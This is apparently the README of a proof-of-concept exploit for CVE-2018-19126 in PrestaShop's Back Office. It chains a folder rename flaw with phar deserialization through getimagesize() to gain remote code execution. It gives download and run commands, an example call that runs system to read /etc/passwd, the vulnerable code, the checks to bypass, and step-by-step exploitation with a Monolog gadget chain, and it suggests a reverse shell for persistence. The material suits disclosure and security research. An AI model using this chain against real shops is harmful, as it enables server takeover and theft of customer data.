This is the PoC for CVE-2018-19126, chaining multiple vulnerabilities in PrestaShop Back Office to trigger deserialization via phar to achieve remote code execution.
Prerequisite:
- PrestaShop 1.6.x before 1.6.1.23 or 1.7.x before 1.7.4.4.
- Back Office account (logistician, translator, salesman, etc.).
PrestaShop release note: http://build.prestashop.com/news/prestashop-1-7-4-4-1-6-1-23-maintenance-releases/
Vulnerable package link: https://assets.prestashop2.com/en/system/files/ps_releases/prestashop_1.7.4.3.zip
FOR EDUCATIONAL PURPOSES ONLY. DO NOT USE THIS SCRIPT FOR ILLEGAL ACTIVITIES. THE AUTHOR IS NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE.
You need php
with curl extension and set phar.readonly = Off
in php.ini
to run the exploit.
# Download repository
wget https://github.com/farisv/PrestaShop-CVE-2018-19126/archive/master.zip -O PrestaShop-CVE-2018-19126.zip
unzip PrestaShop-CVE-2018-19126.zip
cd PrestaShop-CVE-2018-19126-master
# Run the exploit
# Usage: php exploit.php back-office-url email password func param
php exploit.php http://127.0.0.1/admin-dev/ [email protected] 54l35m4n123 system 'cat /etc/passwd'
Note that the upload directory will be renamed and you can't upload the malicious phar file again if the folder name is not reverted. You might want to execute reverse shell to gain persistence RCE or include the command to rename the folder again in your payload (you need to know the path to the upload directory).
We can achieve implicit deserialization with phar wrapper via getimagesize()
function in [back-office-path]/filemanager/ajax_calls.php
.
case 'image_size':
if (realpath(dirname(_PS_ROOT_DIR_.$_POST['path'])) != realpath(_PS_ROOT_DIR_.$upload_dir)) {
die();
}
$pos = strpos($_POST['path'], $upload_dir);
if ($pos !== false) {
$info = getimagesize(substr_replace($_POST['path'], $current_path, $pos, strlen($upload_dir)));
echo json_encode($info);
}
We need to find the way so getimagesize()
is called with phar wrapper URL as parameter by bypassing certain checks.
First check with realpath()
is quite strict.
if (realpath(dirname(_PS_ROOT_DIR_.$_POST['path'])) != realpath(_PS_ROOT_DIR_.$upload_dir)) {
die();
}
The $upload_dir
variable is come from config.php
, which is set with $upload_dir = Context::getContext()->shop->getBaseURI().'img/cms/';
by default. We can't use phar://[string]
in $_POST['path']
because realpath(dirname(_PS_ROOT_DIR_.$_POST['path']))
will return false
because it's not exist.
There is exist another vulnerability (CVE-2018-19125) which allows user to delete or rename $upload_dir
. If $upload_dir
directory is not exist, realpath(_PS_ROOT_DIR_.$upload_dir)
will return false
and we can bypass this check because realpath(dirname(_PS_ROOT_DIR_.$_POST['path']))
is also false
. This vulnerability is discovered during code review when trying to find the way to bypass :).
In short, CVE-2018-19125 allows the path
parameter in call to delete_folder
or rename_folder
action in execute.php
to be empty so the application will delete/rename the $upload_dir
instead.
The second check is simple, the $_POST['path']
need to contains $upload_dir
.
$pos = strpos($_POST['path'], $upload_dir);
if ($pos !== false) {
We can just append /img/cms/
in the phar URL after the file path to phar file because if the directory is not exist inside the phar archive, the deserialization is still occurs. The substr_replace($_POST['path'], $current_path, $pos, strlen($upload_dir))
will only replace /img/cms/
to the absolute path ($current_path
) of that folder (e.g. /var/www/html/img/cms/
if the application is installed in /var/www/html/
).
Because we can control the getimagesize()
function to process a phar wrapper URL, we need to upload the malicious phar file to the server. By default, FileManager in PrestaShop only allows 'jpg', 'jpeg', 'png', 'gif', 'bmp', 'tiff', 'svg', 'pdf', 'mov', 'mpeg', 'mp4', 'avi', 'mpg', 'wma', 'flv', and 'webm' as extension. We can just craft the payload and save it with valid extension. We can use Monolog
gadget chains from PHPGGC (https://github.com/ambionics/phpggc/blob/master/gadgetchains/Monolog/RCE/1/) as it is used by PrestaShop.
Final exploitation steps:
- Craft the malicious phar file and save with valid extension (e.g. phar.pdf).
- Upload the phar.pdf to FileManager.
- Trigger the vulnerability to rename the upload directory to another name (e.g. renamed).
- Call the
image_size
action withphar://../../img/renamed/phar.pdf/img/cms/
aspath
parameter. - Deserialization payload in phar.pdf will be executed.
The exploit.php
script will automatically do all steps.
Remember that the upload directory is renamed in step 3 and you can't upload the malicious phar file again if the folder name is not reverted. You might want to use reverse shell as payload or include the command to rename the folder again in the payload (you need to know the path to the upload directory).